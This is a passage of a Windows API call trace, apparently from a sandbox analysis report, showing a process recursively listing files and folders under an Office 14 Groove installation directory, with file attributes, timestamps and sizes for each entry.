lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolIconImagesMask.bmp", cAlternateFileName="WSSFIL~1.BMP")) returned 0 [0202.390] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0202.391] GetProcessHeap () returned 0x550000 [0202.391] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0202.391] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolData", cAlternateFileName="")) returned 1 [0202.391] GetProcessHeap () returned 0x550000 [0202.391] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26010a0 [0202.391] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0202.406] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.407] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1 [0202.407] GetProcessHeap () returned 0x550000 [0202.407] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26110a8 [0202.407] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0202.419] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.420] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar", cAlternateFileName="")) returned 1 [0202.420] GetProcessHeap () returned 0x550000 [0202.420] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0202.420] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0202.423] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.423] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b62000, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b62000, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0x3424, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="CALEND~1.JPG")) returned 1 [0202.423] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb2cb800, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb2cb800, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImagesMask.bmp", cAlternateFileName="CALEND~1.BMP")) returned 1 [0202.423] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3fa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarViewButtonImages.jpg", cAlternateFileName="CALEND~2.JPG")) returned 1 [0202.423] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b49, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobeButtonImage.jpg", cAlternateFileName="GLOBEB~1.JPG")) returned 1 [0202.423] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobeButtonImageMask.bmp", cAlternateFileName="GLOBEB~1.BMP")) returned 1 [0202.423] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobeButtonImageMask.bmp", cAlternateFileName="GLOBEB~1.BMP")) returned 0 [0202.423] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0202.424] GetProcessHeap () returned 0x550000 [0202.424] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0202.424] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommonData", cAlternateFileName="COMMON~1")) returned 1 [0202.425] GetProcessHeap () returned 0x550000 [0202.425] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0202.425] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0202.427] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.428] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633fe700, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633fe700, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x44c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Auto.jpg", cAlternateFileName="ALERTI~3.JPG")) returned 1 [0202.428] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3390df00, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3390df00, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_AutoMask.bmp", cAlternateFileName="AL1E3B~1.BMP")) returned 1 [0202.428] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3356, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactHigh.jpg", cAlternateFileName="ALERTI~1.JPG")) returned 1 [0202.428] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactHighMask.bmp", cAlternateFileName="ALERTI~1.BMP")) returned 1 [0202.428] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactLow.jpg", cAlternateFileName="ALERTI~4.JPG")) returned 1 [0202.429] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactLowMask.bmp", cAlternateFileName="AL1F1D~1.BMP")) returned 1 [0202.429] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc125fc00, ftCreationTime.dwHighDateTime=0x1c95fd3, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc125fc00, ftLastWriteTime.dwHighDateTime=0x1c95fd3, nFileSizeHigh=0x0, nFileSizeLow=0x480d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileHigh.jpg", cAlternateFileName="ALERTI~2.JPG")) returned 1 [0202.429] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b558100, ftCreationTime.dwHighDateTime=0x1c95fd2, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b558100, ftLastWriteTime.dwHighDateTime=0x1c95fd2, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileHighMask.bmp", cAlternateFileName="ALERTI~2.BMP")) returned 1 [0202.429] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5eab000, ftCreationTime.dwHighDateTime=0x1c95fd3, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5eab000, ftLastWriteTime.dwHighDateTime=0x1c95fd3, nFileSizeHigh=0x0, nFileSizeLow=0x46de, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileOff.jpg", cAlternateFileName="AL97F4~1.JPG")) returned 1 [0202.429] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427c8f00, ftCreationTime.dwHighDateTime=0x1c95fd2, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x427c8f00, ftLastWriteTime.dwHighDateTime=0x1c95fd2, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileOffMask.bmp", cAlternateFileName="ALFE83~1.BMP")) returned 1 [0202.429] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b7f600, ftCreationTime.dwHighDateTime=0x1c95f2a, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2b7f600, ftLastWriteTime.dwHighDateTime=0x1c95f2a, nFileSizeHigh=0x0, nFileSizeLow=0x13ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_High.jpg", cAlternateFileName="AL5980~1.JPG")) returned 1 [0202.429] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3177400, ftCreationTime.dwHighDateTime=0x1c95f2a, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3177400, ftLastWriteTime.dwHighDateTime=0x1c95f2a, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_HighMask.bmp", cAlternateFileName="ALERTI~3.BMP")) returned 1 [0202.429] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefeaa500, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefeaa500, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x41de, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Medium.jpg", cAlternateFileName="ALF33C~1.JPG")) returned 1 [0202.429] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd34e6d00, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd34e6d00, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_MediumMAsk.bmp", cAlternateFileName="ALERTI~4.BMP")) returned 1 [0202.429] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e983f00, ftCreationTime.dwHighDateTime=0x1c95fc9, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e983f00, ftLastWriteTime.dwHighDateTime=0x1c95fc9, nFileSizeHigh=0x0, nFileSizeLow=0x3e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Off.jpg", cAlternateFileName="AL0F2A~1.JPG")) returned 1 [0202.429] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x258f8e00, ftCreationTime.dwHighDateTime=0x1c95fc9, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x258f8e00, ftLastWriteTime.dwHighDateTime=0x1c95fc9, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_OffMask.bmp", cAlternateFileName="ALA9A1~1.BMP")) returned 1 [0202.429] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbb75100, ftCreationTime.dwHighDateTime=0x1c9bcb4, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbb75100, ftLastWriteTime.dwHighDateTime=0x1c9bcb4, nFileSizeHigh=0x0, nFileSizeLow=0x2256, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImage.jpg", cAlternateFileName="COMMSI~1.JPG")) returned 1 [0202.430] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d183d00, ftCreationTime.dwHighDateTime=0x1c9bcb5, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d183d00, ftLastWriteTime.dwHighDateTime=0x1c9bcb5, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImageMask.bmp", cAlternateFileName="COMMSI~2.BMP")) returned 1 [0202.430] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x630, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImageMaskSmall.bmp", cAlternateFileName="COMMSI~1.BMP")) returned 1 [0202.430] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1de3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImageSmall.jpg", cAlternateFileName="COMMSI~2.JPG")) returned 1 [0202.430] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c468e00, ftCreationTime.dwHighDateTime=0x1c9bcb5, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c468e00, ftLastWriteTime.dwHighDateTime=0x1c9bcb5, nFileSizeHigh=0x0, nFileSizeLow=0x22c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImage.jpg", cAlternateFileName="COMMSO~2.JPG")) returned 1 [0202.430] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf59600, ftCreationTime.dwHighDateTime=0x1c9bcb5, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bf59600, ftLastWriteTime.dwHighDateTime=0x1c9bcb5, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImageMask.bmp", cAlternateFileName="COMMSO~1.BMP")) returned 1 [0202.430] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x630, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImageMaskSmall.bmp", cAlternateFileName="COMMSO~2.BMP")) returned 1 [0202.430] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1dd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImageSmall.jpg", cAlternateFileName="COMMSO~1.JPG")) returned 1 [0202.430] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2798, dwReserved0=0x0, dwReserved1=0x0, 